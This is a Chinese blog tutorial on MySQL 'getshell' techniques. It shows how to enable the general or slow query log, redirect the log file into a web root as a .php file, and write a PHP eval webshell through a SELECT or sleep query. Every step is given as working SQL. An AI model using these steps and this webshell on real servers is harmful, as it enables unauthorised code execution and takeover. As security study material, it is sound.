日志和慢日志GETSHELL

发布于 2023-05-17  465 次阅读


  • 一般不会开启开日志或慢日志功能,因为log的量会非常庞大。但个别情况下可能会临时的开一会儿以供排 障使用。
  • variables查看的参数是MySQL服务的配置参数,在启动MySQL服务的时候,是可以修改具体的参数值来达到对MySQL进行动态配置 的目的,通常配置在MySQL的my.cnf配置文件中。这些参数中,有些动态的参数可以通过 set xxx=yyy ;的方式来动态修改。 这种参数大多数以小写的英文字母开头。
  • status查看的参数值是由MySQL自己统计计算得到的。它是MySQL服务运行状态具体的量化体现。都是不可以修改的,也就是不能通过set xxx=yyy; 的方式来改变它的值的。这种参数大多数以大写的英文字母开头。
  • global关键字的命令是查看全局参数的值,而不带global关键字的命令是只查看当前session级别的参数 的值。
  • 全局参数:(某个参数的值设置之后,对所有连接到MySQL服务的用户都生效,所有用户登录到 MySQL后,该参数都是使用同一个值。)只要你连接,那就使用这个参数
  • 会话级别的参数:(某个参数的值设置之后,只对当前连接到MySQL服务器的 当前会话生效 ,当前会话退出后,这个参数就恢复了默认值。并且当连接A登录的时候,这个参数对A生效。但是对于新开一个连接服务B,在B的会话中,设置的参数并不会生效)只对当前有效

日志GETSHELL

原理

  • sql的日志会把查询语句记录到日志文件,比如select miaomiao;会被完整记录到文件

(查询了miaomiao)

(记录了miaomiao)

  • 如果故意select带有rce的语句,rce就会被记录到文件,通过php标签的闭环,sql记录文件中的其他内容不会影响rce的执行.这样,把日志文件的路径设置到web服务器可以访问到的路径,访问即可rce.

(没有意义的查询语句,但是把\<?php phpinfo();?>语句带入了日志文件)

(改名日志文件drinkflower.log为drinkflower.php,可以正常执行)

  • 基本步骤:查日志相关参数配置信息,修改全局变量 , 写木马进去.网页访问该文件,连蚁剑.

步骤

  • 查日志保存状态和日志保存路径的全局变量,其中general_log的值为日志是否打开,general_log_file的值为日志文件的路径.
show variables like '%general%';

(日志未打开,日志路径也无法通过web服务访问)

  • 如果日志没有打开,需要打开日志保存,修改日志保存路径到http服务器中可以访问到的路径,这样可以访问到该文件,执行写入的恶意语句
set global general_log=on;

(日志功能打开)

  • 改日志路径,==注意windows下路径一定要加\来防止字符被转义==
set global general_log_file='D:\\phpstudy_pro\\WWW\\666.php'

(路径改了)

  • 如果指定路径的文件原本存在,log内容会被附加到原文后面

  • 如果指定路径的文件原本不存在,文件会被自动创建

  • 已经可以随便rce了,写个一句话木马连一下即可
select '<?php @eval($_POST['cmd'];)?>';//不能这么写,会让引号的闭环出现问题,要么不写,要么双引号
select '<?php @eval($_POST[cmd]);?>';

(打错了)

(连接成功)

慢日志GETSHELL

原理

  • MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句
  • long_query_time的默认值为10,意思是运行10S以上的语句会被写入慢日志

步骤

  • 其他步骤和日志getshell差不多,直接上步骤:
  • 查看配置
show variables like '%slow%';

  • 打开 slow_query_log ,开启慢查询日志功能
set global slow_query_log=on;

  • 修改 slow_query_log_file 的值到可访问路径
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\aiyou.php';

  • 向慢日志写入木马,要求查询时间大于long_query_time,sleep大于其值的时间即可

  • 这里为了用sleep,选了where,但是经过尝试,where不能单用,还得加from,但是延时方法应该还是不少的

select '<?php @eval($_POST[cmd]);?>' from mysql.db where sleep(5);

届ける言葉を今は育ててる
最后更新于 2024-02-07